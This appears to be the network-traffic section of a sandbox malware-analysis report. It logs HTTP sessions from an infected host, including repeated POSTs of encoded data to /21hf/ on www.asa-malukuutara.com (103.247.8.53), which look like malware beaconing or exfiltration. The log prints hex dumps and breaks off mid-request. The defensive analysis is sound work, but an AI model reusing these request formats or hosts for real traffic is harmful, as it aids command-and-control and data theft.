Aug 27, 2024 08:03:07.873545885 CEST	1200	IN	HTTP/1.1 200 OK date: Tue, 27 Aug 2024 06:03:07 GMT content-type: text/html; charset=utf-8 content-length: 1478 x-request-id: 990435df-95d1-4a73-bba1-26f710af7ccf cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Im6T6/pqCTudfemr3/Ry3QOMsMpidAGuIZS152vKDAPS35jIwkuAAyjevEKaV89FkqL+9D93AJ/s2twwhb4hMA== set-cookie: parking_session=990435df-95d1-4a73-bba1-26f710af7ccf; expires=Tue, 27 Aug 2024 06:18:07 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 49 6d 36 54 36 2f 70 71 43 54 75 64 66 65 6d 72 33 2f 52 79 33 51 4f 4d 73 4d 70 69 64 41 47 75 49 5a 53 31 35 32 76 4b 44 41 50 53 33 35 6a 49 77 6b 75 41 41 79 6a 65 76 45 4b 61 56 38 39 46 6b 71 4c 2b 39 44 39 33 41 4a 2f 73 32 74 77 77 68 62 34 68 4d 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Im6T6/pqCTudfemr3/Ry3QOMsMpidAGuIZS152vKDAPS35jIwkuAAyjevEKaV89FkqL+9D93AJ/s2twwhb4hMA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI1
Aug 27, 2024 08:03:07.873616934 CEST	967	IN	Data Raw: 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 Data Ascii: 2P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTkwNDM1ZGYtOTVkMS00YTczLWJiYTEtMjZmNzEwYW

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.11.20	49896	103.247.8.53	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:13.241627932 CEST	835	OUT	POST /21hf/ HTTP/1.1 Host: www.asa-malukuutara.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.asa-malukuutara.com Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.asa-malukuutara.com/21hf/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 6b 33 6c 72 53 2f 54 35 54 32 79 36 31 58 37 4c 61 69 54 6b 6b 6c 53 4c 43 52 35 68 63 4b 2f 46 54 61 30 6e 76 50 71 6b 6c 63 6a 50 37 41 45 58 44 77 75 52 73 75 78 35 51 31 6e 65 71 42 58 58 68 45 4f 51 54 4d 47 58 46 61 37 4c 36 51 50 45 42 4d 6c 36 33 51 56 35 77 6b 4b 59 74 58 41 77 76 4a 5a 61 34 39 37 71 6e 50 6a 49 31 58 6d 32 55 71 6e 45 31 4c 75 6a 34 56 66 54 55 68 48 6b 7a 61 50 72 42 37 4b 46 56 76 67 64 6f 7a 68 2b 67 6f 77 39 63 54 59 76 5a 53 5a 5a 31 34 62 69 73 2b 6c 62 62 49 33 51 77 78 68 5a 32 36 46 42 4c 35 43 49 70 6d 44 4f 4f 79 75 65 4e 35 56 77 4f 41 3d 3d Data Ascii: ij60MtY=k3lrS/T5T2y61X7LaiTkklSLCR5hcK/FTa0nvPqklcjP7AEXDwuRsux5Q1neqBXXhEOQTMGXFa7L6QPEBMl63QV5wkKYtXAwvJZa497qnPjI1Xm2UqnE1Luj4VfTUhHkzaPrB7KFVvgdozh+gow9cTYvZSZZ14bis+lbbI3QwxhZ26FBL5CIpmDOOyueN5VwOA==
Aug 27, 2024 08:03:13.760560989 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 06:03:13 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://asa-malukuutara.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 12523 Content-Type: text/html; charset=UTF-8 Data Raw: 53 06 02 41 11 a9 49 3f 04 54 04 c6 4d 7c ac f3 7c ff 99 a9 7d 67 e9 72 7a 86 2b 16 e1 00 20 00 ae 22 43 f5 77 9c 5e 5c 93 4c ba e2 e4 6f b1 4b 03 91 90 04 9b 22 39 00 b4 b8 d9 fc ff fd a5 d5 64 a6 61 0a 67 16 08 65 b7 b4 04 1c da f7 de f7 5e f7 87 aa 3d bf 24 79 b6 24 d9 e7 94 2c f7 1e 19 7a 8f 64 e8 e6 f7 ee 83 ff 0b c5 06 99 b8 7b c1 f6 10 60 16 2c 62 92 6c 12 d7 70 79 7a 61 80 c2 89 37 a2 20 4a f6 31 4c 6b b7 bf cf ba eb 12 44 44 45 40 4d da 7b 89 cb 63 f3 9a 60 a9 46 79 31 91 a9 e1 8c 0d fd 41 ec 93 bc 55 22 99 ef ab 0c d5 66 f7 42 62 1b 43 c9 29 20 75 5b c6 d4 b2 d9 bd ee 17 39 09 57 03 44 62 5d 94 80 c1 d5 9c 6b c0 a4 8b 57 48 77 f4 c7 e3 1c 07 73 4f 8b 42 bc 6f ac 50 ce cb b5 c4 73 59 58 0a 88 1c da 0d 45 5d 15 f5 10 81 04 53 06 57 2a 81 4b 7f 8b 17 05 60 a3 5b 7c 4c 2c 0e ea b2 1b 8c 41 3a 24 34 2e 92 1a 2f 02 53 92 81 83 db a0 eb 3d 70 2c 82 e2 fb c7 13 a2 84 bb c7 3b fa e5 ee f3 8f ef fb 3c 7b 49 f3 0f ad e9 5e c1 ea b6 5a 34 9d 43 7a 19 5b ed eb fd 62 b7 0d 2f 3d 0c 95 53 f4 a0 da e3 eb [TRUNCATED] Data Ascii: SAI?TM\|\|}grz+ "Cw^\LoK"9dage^=$y$,zd{`,blpyza7 J1LkDDE@M{c`Fy1AU"fBbC) u[9WDb]kWHwsOBoPsYXE]SWK`[\|L,A:$4./S=p,;<{I^Z4Cz[b/=SUS<(2i\!o);nb@.b~#D "fynmn)t<u4&{i)D<"aEOa&/\|AQ"v8Giv~mo2j8Oyv)\|q1tJW~JYr^h'q0)r}om8%0O{]{$m\|yWh"O-?O{U;^-/i<N+x}';)Z$vu:`w}'%/\|$Uof;R^l?LlBj5TM?Ow?qX+Q2mEO&cFOy:TeK[Cko.r%+6[ZMtAmMo(KM9&A-]\w-"\ftS\4N
Aug 27, 2024 08:03:13.760643005 CEST	1289	IN	Data Raw: b4 fa 6e 9b 21 3c 61 29 88 9c bf fb 16 2a c6 88 ad d0 ac 3f d0 b5 6a 0d ba aa c4 fc cd fb 2d fc ab b7 af da ea 22 53 1f eb 7e d0 37 37 aa 43 0a cf 71 71 e1 ae 06 8b 7e 29 d3 a3 5f b7 db e6 3f be 2f ac 51 a0 72 5d 96 48 38 2e 8c a2 90 a0 d2 3c 05 Data Ascii: n!<a)?j-"S~77Cqq~)_?/Qr]H8.<a[^n\|"nVo-%u}+I_&t\|? Wsp;kT8'z"t8y\|UZ\|K+M<kVS9F`_QqZ
Aug 27, 2024 08:03:13.760761023 CEST	1289	IN	Data Raw: 2c 40 4a 57 cf 03 75 e0 af 74 09 15 aa 70 f7 f9 74 de 2a e7 a9 24 d0 35 12 dd af 4d 31 22 dc d6 56 44 7b 53 b2 02 ee bd f6 c1 e2 8b 10 6c 19 b1 34 8f 4f 39 e3 d1 b2 4d 58 1a 45 f4 f0 59 40 30 29 52 5c 98 a5 70 7a 6d f7 39 e3 f1 49 b0 2c ca fe 10 Data Ascii: ,@JWutpt$5M1"VD{Sl4O9MXEY@0)R\pzm9I,m2.=2hmbO7:ekX,K/K9\|WcE,x"9A^So'9/?S~r}O+]-J""!dCwt%kwBvJo.cp=1i
Aug 27, 2024 08:03:13.760814905 CEST	1289	IN	Data Raw: 91 48 45 f0 a0 42 30 f7 87 85 a8 10 ee 13 87 74 4b 53 53 d3 4e 5b 2a 1b 1c c3 cb 60 6f 86 08 37 30 c9 bd 5a c3 f0 40 e7 93 0b 12 f3 82 37 97 93 0b 0e f3 a2 d1 01 a7 10 58 aa ce db f1 f8 c6 59 2c 0e 48 47 e7 48 aa 3b 45 98 ac 9b dc fe 7d b7 95 fd Data Ascii: HEB0tKSSN[*`o70Z@7XY,HGH;E}vLj[)+qIl={l]J,3OLT5M/mO;Q$Ga-40OgqI#)]L>9.cE5N0g3u~uzf}Z0fRs3VK:
Aug 27, 2024 08:03:13.760885954 CEST	1289	IN	Data Raw: 5d 3a 8d a3 8b 54 e1 4f a8 be 8d f5 46 78 3d 65 b0 e6 69 5d c0 75 b6 69 ea 4d e2 02 93 84 42 2f ae 1b 46 85 8f 9e d6 05 5c e7 ba 11 db 9a bf 41 41 01 22 67 a0 f0 d1 d3 a4 80 eb e5 26 11 da 9d 60 e5 02 36 45 b4 1c 3a a2 c1 c1 ec be 9b 65 d6 e5 f1 Data Ascii: ]:TOFx=ei]uiMB/F\AA"g&`6E:eyfi4A^ew18@j4]FDZ<<Q_NNlG*,wK5R"H[$$Y39-Zm:DARr"r^=8<'"_p97o%ID+V&w!
Aug 27, 2024 08:03:13.761003017 CEST	1289	IN	Data Raw: bc 58 8c 8d cf 01 c2 81 e5 92 d6 1b ca bc 3a 31 48 af c2 6d 32 51 b2 0a 1b 84 58 48 40 0d ca f7 23 ad 3c d7 3a c7 14 f6 db 38 14 b8 0b bc 0f 08 8c f7 ed 70 d2 58 b0 b6 83 e4 ef 80 9d 1a 22 d0 68 2a 58 8d 80 c9 16 c6 8b 3d a8 c6 5a d3 f1 62 0d b7 Data Ascii: X:1Hm2QXH@#<:8pX"hX=Zb1uaB"Pc>`p!Qpo!W-Kl0k #l-Kz7zW1.V<kS+usl-"Uze6dTDFv.).96H+]A
Aug 27, 2024 08:03:13.761055946 CEST	1289	IN	Data Raw: 8b 97 6b 5e 67 c7 33 68 fa 18 1e da fe 14 c7 df dd 6e cd 66 42 96 37 09 ce 9d cb a7 90 61 2d 4d 6c a7 ec 7c f4 f0 d2 5c 35 e6 af cc 72 eb 84 fa af 21 dc 08 64 2f a3 41 a7 ef 92 ed 41 fb 6b b7 96 d7 b9 2b 70 6b dc ad 37 17 77 d2 45 f0 4c 36 bc 26 Data Ascii: k^g3hnfB7a-Ml\|\5r!d/AAk+pk7wEL6&YFL}T8OmLwb1%T6nc"].nyt:jq`\|?$%5n9=kFq>fKe_jo2C+yaYnchj&~\|G7/>y\[
Aug 27, 2024 08:03:13.761137009 CEST	1289	IN	Data Raw: 13 39 5d 31 e8 6d 00 7f e7 2f 5f f2 76 f3 be b8 6b 6e 24 7e 34 78 e6 3e 28 62 19 94 b7 04 cd 40 bb 07 dc b5 af 99 f1 b9 e2 95 f4 76 76 56 79 6d c0 ba 62 31 23 fb a9 79 4f fa 6a 54 0d 86 c2 6f db 21 15 e1 e9 e7 81 be b8 be 23 21 ac 0b 7c 5c fc da Data Ascii: 9]1m/_vkn$~4x>(b@vvVymb1#yOjTo!#!\|\#ICZzY~=yPtykA}/GJw$5F3"E?8t6bQv3x\o4,*v#+8c
Aug 27, 2024 08:03:13.761305094 CEST	1289	IN	Data Raw: fd 18 a7 89 02 53 4a 07 7b 45 08 55 9d 08 da 13 5e af a4 43 b7 44 04 d9 be d5 77 5e 1c 94 29 a8 40 88 20 80 a3 cf cb 0b 42 05 fa a2 bb 23 9a 16 2b c1 5b 10 99 91 bd 72 b2 9c 0c 56 48 ca 14 06 47 80 2e 83 83 5d 3e 45 69 e8 cd 59 af 9b e2 54 58 47 Data Ascii: SJ{EU^CDw^)@ B#+[rVHG.]>EiYTXG}}R\4cqkw'A_[;[$*&T}.si#jsvHS>~YV)(f)L?B1e,(\6WPc^2
Aug 27, 2024 08:03:13.761390924 CEST	1289	IN	Data Raw: 02 f8 b3 6f 4d 5d 52 a2 10 ab 38 7a 61 f4 be ef c6 d4 dc 29 70 95 00 24 df 73 55 7b f8 f1 f3 3e 61 b6 bc ef 8a 2e ff 63 3d f6 b5 51 ed 72 27 46 5e be 61 63 8a 8b 0c be 8c 4c 7a 97 44 55 20 05 15 7e 67 a0 a4 7c e0 43 e7 3e 34 d8 d9 1d 99 da f7 b3 Data Ascii: oM]R8za)p$sU{>a.c=Qr'F^acLzDU ~g\|C>4cfk3y}oz?rj)!clTv@K ~Nnj\1J$?YGP{HU>Q]iQhgLQl%IBj%nXyS'(
Aug 27, 2024 08:03:13.761403084 CEST	30	IN	Data Raw: a1 be 75 d3 7d 3c 4c 53 59 0a 06 e7 50 d9 ec 65 29 be 2c 4d 51 49 67 16 88 cc d9 27 88 e6 Data Ascii: u}<LSYPe),MQIg'

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.11.20	49897	103.247.8.53	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:16.119672060 CEST	1175	OUT	POST /21hf/ HTTP/1.1 Host: www.asa-malukuutara.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.asa-malukuutara.com Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.asa-malukuutara.com/21hf/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 6b 33 6c 72 53 2f 54 35 54 32 79 36 31 32 4c 4c 57 68 72 6b 30 31 53 49 4e 78 35 68 57 71 2f 4a 54 61 34 6e 76 4f 65 30 6c 71 4c 50 31 46 67 58 41 7a 32 52 76 75 78 35 4a 46 6e 66 67 68 58 4d 68 45 7a 74 54 4d 4b 58 46 62 66 4c 35 43 33 45 4a 63 6c 31 39 77 56 36 33 6b 4b 5a 70 58 41 36 76 4a 55 31 34 38 2f 71 6e 2f 66 49 30 54 65 32 52 2b 7a 62 34 4c 76 6d 2b 56 66 53 65 42 48 55 7a 61 7a 6a 42 2f 4b 56 56 64 38 64 6f 53 42 2b 68 6f 77 69 46 7a 59 6b 52 79 59 63 6c 35 4b 4c 6c 74 39 6e 53 61 76 58 31 54 74 53 79 61 64 43 54 62 32 57 37 47 50 6a 58 6a 6a 78 4e 36 45 55 4e 6b 4c 61 57 56 54 75 70 66 46 72 74 6f 56 6d 70 78 36 77 62 33 59 49 47 4c 61 6c 48 77 4c 41 6d 74 47 65 43 56 55 61 74 42 61 79 76 31 72 70 4b 41 69 57 49 6d 47 65 43 73 67 5a 4e 77 70 78 75 75 56 59 70 64 52 6c 4c 44 47 7a 77 7a 48 66 71 75 61 5a 4f 35 4b 4b 50 61 69 72 35 55 5a 46 32 33 61 77 52 61 64 56 44 59 78 77 39 37 37 36 30 64 71 76 54 61 73 52 4d 6b 49 48 55 2f 41 59 79 58 6f 4f 4a 50 78 4c 4a 34 [TRUNCATED] Data Ascii: ij60MtY=k3lrS/T5T2y612LLWhrk01SINx5hWq/JTa4nvOe0lqLP1FgXAz2Rvux5JFnfghXMhEztTMKXFbfL5C3EJcl19wV63kKZpXA6vJU148/qn/fI0Te2R+zb4Lvm+VfSeBHUzazjB/KVVd8doSB+howiFzYkRyYcl5KLlt9nSavX1TtSyadCTb2W7GPjXjjxN6EUNkLaWVTupfFrtoVmpx6wb3YIGLalHwLAmtGeCVUatBayv1rpKAiWImGeCsgZNwpxuuVYpdRlLDGzwzHfquaZO5KKPair5UZF23awRadVDYxw97760dqvTasRMkIHU/AYyXoOJPxLJ4vYyBmYBoCS0ikqOt4o7y9FZU/C5m5HQbeJU0f60bBxL5tRmNqK8kswXGyFUjPKp3TW4byKGoUqK1a4wqb+SmXQUy1Ir8HBiWYMdfbnVpKgPuf7PMCM1Hi5ckmHOiqUJJMjCgo8XQ+0a6mqZNWvyvEJ3Bk4LPMOBBKv26s0X8cMwgMJgxK+SfI5Z4VnrlVpdUBfvmcxPIhniCo=
Aug 27, 2024 08:03:16.639406919 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 06:03:16 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://asa-malukuutara.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 12523 Content-Type: text/html; charset=UTF-8 Data Raw: 53 06 02 41 11 a9 49 3f 04 54 04 c6 4d 7c ac f3 7c ff 99 a9 7d 67 e9 72 7a 86 2b 16 e1 00 20 00 ae 22 43 f5 77 9c 5e 5c 93 4c ba e2 e4 6f b1 4b 03 91 90 04 9b 22 39 00 b4 b8 d9 fc ff fd a5 d5 64 a6 61 0a 67 16 08 65 b7 b4 04 1c da f7 de f7 5e f7 87 aa 3d bf 24 79 b6 24 d9 e7 94 2c f7 1e 19 7a 8f 64 e8 e6 f7 ee 83 ff 0b c5 06 99 b8 7b c1 f6 10 60 16 2c 62 92 6c 12 d7 70 79 7a 61 80 c2 89 37 a2 20 4a f6 31 4c 6b b7 bf cf ba eb 12 44 44 45 40 4d da 7b 89 cb 63 f3 9a 60 a9 46 79 31 91 a9 e1 8c 0d fd 41 ec 93 bc 55 22 99 ef ab 0c d5 66 f7 42 62 1b 43 c9 29 20 75 5b c6 d4 b2 d9 bd ee 17 39 09 57 03 44 62 5d 94 80 c1 d5 9c 6b c0 a4 8b 57 48 77 f4 c7 e3 1c 07 73 4f 8b 42 bc 6f ac 50 ce cb b5 c4 73 59 58 0a 88 1c da 0d 45 5d 15 f5 10 81 04 53 06 57 2a 81 4b 7f 8b 17 05 60 a3 5b 7c 4c 2c 0e ea b2 1b 8c 41 3a 24 34 2e 92 1a 2f 02 53 92 81 83 db a0 eb 3d 70 2c 82 e2 fb c7 13 a2 84 bb c7 3b fa e5 ee f3 8f ef fb 3c 7b 49 f3 0f ad e9 5e c1 ea b6 5a 34 9d 43 7a 19 5b ed eb fd 62 b7 0d 2f 3d 0c 95 53 f4 a0 da e3 eb [TRUNCATED] Data Ascii: SAI?TM\|\|}grz+ "Cw^\LoK"9dage^=$y$,zd{`,blpyza7 J1LkDDE@M{c`Fy1AU"fBbC) u[9WDb]kWHwsOBoPsYXE]SWK`[\|L,A:$4./S=p,;<{I^Z4Cz[b/=SUS<(2i\!o);nb@.b~#D "fynmn)t<u4&{i)D<"aEOa&/\|AQ"v8Giv~mo2j8Oyv)\|q1tJW~JYr^h'q0)r}om8%0O{]{$m\|yWh"O-?O{U;^-/i<N+x}';)Z$vu:`w}'%/\|$Uof;R^l?LlBj5TM?Ow?qX+Q2mEO&cFOy:TeK[Cko.r%+6[ZMtAmMo(KM9&A-]\w-"\ftS\4N
Aug 27, 2024 08:03:16.639492035 CEST	1289	IN	Data Raw: b4 fa 6e 9b 21 3c 61 29 88 9c bf fb 16 2a c6 88 ad d0 ac 3f d0 b5 6a 0d ba aa c4 fc cd fb 2d fc ab b7 af da ea 22 53 1f eb 7e d0 37 37 aa 43 0a cf 71 71 e1 ae 06 8b 7e 29 d3 a3 5f b7 db e6 3f be 2f ac 51 a0 72 5d 96 48 38 2e 8c a2 90 a0 d2 3c 05 Data Ascii: n!<a)?j-"S~77Cqq~)_?/Qr]H8.<a[^n\|"nVo-%u}+I_&t\|? Wsp;kT8'z"t8y\|UZ\|K+M<kVS9F`_QqZ
Aug 27, 2024 08:03:16.639543056 CEST	1289	IN	Data Raw: 2c 40 4a 57 cf 03 75 e0 af 74 09 15 aa 70 f7 f9 74 de 2a e7 a9 24 d0 35 12 dd af 4d 31 22 dc d6 56 44 7b 53 b2 02 ee bd f6 c1 e2 8b 10 6c 19 b1 34 8f 4f 39 e3 d1 b2 4d 58 1a 45 f4 f0 59 40 30 29 52 5c 98 a5 70 7a 6d f7 39 e3 f1 49 b0 2c ca fe 10 Data Ascii: ,@JWutpt$5M1"VD{Sl4O9MXEY@0)R\pzm9I,m2.=2hmbO7:ekX,K/K9\|WcE,x"9A^So'9/?S~r}O+]-J""!dCwt%kwBvJo.cp=1i
Aug 27, 2024 08:03:16.639616013 CEST	1289	IN	Data Raw: 91 48 45 f0 a0 42 30 f7 87 85 a8 10 ee 13 87 74 4b 53 53 d3 4e 5b 2a 1b 1c c3 cb 60 6f 86 08 37 30 c9 bd 5a c3 f0 40 e7 93 0b 12 f3 82 37 97 93 0b 0e f3 a2 d1 01 a7 10 58 aa ce db f1 f8 c6 59 2c 0e 48 47 e7 48 aa 3b 45 98 ac 9b dc fe 7d b7 95 fd Data Ascii: HEB0tKSSN[*`o70Z@7XY,HGH;E}vLj[)+qIl={l]J,3OLT5M/mO;Q$Ga-40OgqI#)]L>9.cE5N0g3u~uzf}Z0fRs3VK:
Aug 27, 2024 08:03:16.639930964 CEST	1289	IN	Data Raw: 5d 3a 8d a3 8b 54 e1 4f a8 be 8d f5 46 78 3d 65 b0 e6 69 5d c0 75 b6 69 ea 4d e2 02 93 84 42 2f ae 1b 46 85 8f 9e d6 05 5c e7 ba 11 db 9a bf 41 41 01 22 67 a0 f0 d1 d3 a4 80 eb e5 26 11 da 9d 60 e5 02 36 45 b4 1c 3a a2 c1 c1 ec be 9b 65 d6 e5 f1 Data Ascii: ]:TOFx=ei]uiMB/F\AA"g&`6E:eyfi4A^ew18@j4]FDZ<<Q_NNlG*,wK5R"H[$$Y39-Zm:DARr"r^=8<'"_p97o%ID+V&w!
Aug 27, 2024 08:03:16.640007019 CEST	1289	IN	Data Raw: bc 58 8c 8d cf 01 c2 81 e5 92 d6 1b ca bc 3a 31 48 af c2 6d 32 51 b2 0a 1b 84 58 48 40 0d ca f7 23 ad 3c d7 3a c7 14 f6 db 38 14 b8 0b bc 0f 08 8c f7 ed 70 d2 58 b0 b6 83 e4 ef 80 9d 1a 22 d0 68 2a 58 8d 80 c9 16 c6 8b 3d a8 c6 5a d3 f1 62 0d b7 Data Ascii: X:1Hm2QXH@#<:8pX"hX=Zb1uaB"Pc>`p!Qpo!W-Kl0k #l-Kz7zW1.V<kS+usl-"Uze6dTDFv.).96H+]A
Aug 27, 2024 08:03:16.640063047 CEST	1289	IN	Data Raw: 8b 97 6b 5e 67 c7 33 68 fa 18 1e da fe 14 c7 df dd 6e cd 66 42 96 37 09 ce 9d cb a7 90 61 2d 4d 6c a7 ec 7c f4 f0 d2 5c 35 e6 af cc 72 eb 84 fa af 21 dc 08 64 2f a3 41 a7 ef 92 ed 41 fb 6b b7 96 d7 b9 2b 70 6b dc ad 37 17 77 d2 45 f0 4c 36 bc 26 Data Ascii: k^g3hnfB7a-Ml\|\5r!d/AAk+pk7wEL6&YFL}T8OmLwb1%T6nc"].nyt:jq`\|?$%5n9=kFq>fKe_jo2C+yaYnchj&~\|G7/>y\[
Aug 27, 2024 08:03:16.640127897 CEST	1289	IN	Data Raw: 13 39 5d 31 e8 6d 00 7f e7 2f 5f f2 76 f3 be b8 6b 6e 24 7e 34 78 e6 3e 28 62 19 94 b7 04 cd 40 bb 07 dc b5 af 99 f1 b9 e2 95 f4 76 76 56 79 6d c0 ba 62 31 23 fb a9 79 4f fa 6a 54 0d 86 c2 6f db 21 15 e1 e9 e7 81 be b8 be 23 21 ac 0b 7c 5c fc da Data Ascii: 9]1m/_vkn$~4x>(b@vvVymb1#yOjTo!#!\|\#ICZzY~=yPtykA}/GJw$5F3"E?8t6bQv3x\o4,*v#+8c
Aug 27, 2024 08:03:16.640213966 CEST	1289	IN	Data Raw: fd 18 a7 89 02 53 4a 07 7b 45 08 55 9d 08 da 13 5e af a4 43 b7 44 04 d9 be d5 77 5e 1c 94 29 a8 40 88 20 80 a3 cf cb 0b 42 05 fa a2 bb 23 9a 16 2b c1 5b 10 99 91 bd 72 b2 9c 0c 56 48 ca 14 06 47 80 2e 83 83 5d 3e 45 69 e8 cd 59 af 9b e2 54 58 47 Data Ascii: SJ{EU^CDw^)@ B#+[rVHG.]>EiYTXG}}R\4cqkw'A_[;[$*&T}.si#jsvHS>~YV)(f)L?B1e,(\6WPc^2
Aug 27, 2024 08:03:16.640270948 CEST	1289	IN	Data Raw: 02 f8 b3 6f 4d 5d 52 a2 10 ab 38 7a 61 f4 be ef c6 d4 dc 29 70 95 00 24 df 73 55 7b f8 f1 f3 3e 61 b6 bc ef 8a 2e ff 63 3d f6 b5 51 ed 72 27 46 5e be 61 63 8a 8b 0c be 8c 4c 7a 97 44 55 20 05 15 7e 67 a0 a4 7c e0 43 e7 3e 34 d8 d9 1d 99 da f7 b3 Data Ascii: oM]R8za)p$sU{>a.c=Qr'F^acLzDU ~g\|C>4cfk3y}oz?rj)!clTv@K ~Nnj\1J$?YGP{HU>Q]iQhgLQl%IBj%nXyS'(
Aug 27, 2024 08:03:16.640280962 CEST	30	IN	Data Raw: a1 be 75 d3 7d 3c 4c 53 59 0a 06 e7 50 d9 ec 65 29 be 2c 4d 51 49 67 16 88 cc d9 27 88 e6 Data Ascii: u}<LSYPe),MQIg'

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.11.20	49898	103.247.8.53	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:18.996213913 CEST	1289	OUT	POST /21hf/ HTTP/1.1 Host: www.asa-malukuutara.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.asa-malukuutara.com Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.asa-malukuutara.com/21hf/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 6b 33 6c 72 53 2f 54 35 54 32 79 36 31 32 4c 4c 57 68 72 6b 30 31 53 49 4e 78 35 68 57 71 2f 4a 54 61 34 6e 76 4f 65 30 6c 71 44 50 31 7a 73 58 41 53 32 52 75 75 78 35 42 6c 6e 43 67 68 57 4f 68 45 62 70 54 4d 57 74 46 5a 58 4c 35 78 2f 45 4b 75 4e 31 36 77 56 2f 34 45 4b 58 74 58 41 75 76 4a 59 70 34 38 37 36 6e 50 37 49 31 54 75 32 56 4d 62 45 67 4c 75 6a 2b 56 66 57 4a 78 48 63 7a 61 48 4a 42 36 53 56 56 66 49 64 70 68 35 2b 6d 2f 63 69 64 54 59 72 49 69 59 74 2b 4a 4b 71 6c 74 35 5a 53 61 76 74 31 53 5a 53 79 5a 56 43 42 4b 32 52 37 6d 50 6a 49 54 6a 79 47 61 49 75 4e 6b 48 43 57 56 50 75 70 66 74 72 73 49 56 6d 69 77 36 7a 62 58 59 4f 43 4c 62 7a 44 77 48 59 6d 74 36 4b 43 55 41 61 74 56 79 79 73 69 2f 70 46 45 4f 57 55 32 47 59 4d 4d 67 47 48 51 70 74 75 74 73 37 70 64 78 54 4c 41 4b 7a 69 42 50 66 38 61 4f 59 4a 5a 4b 45 44 36 69 6c 76 6b 56 4a 32 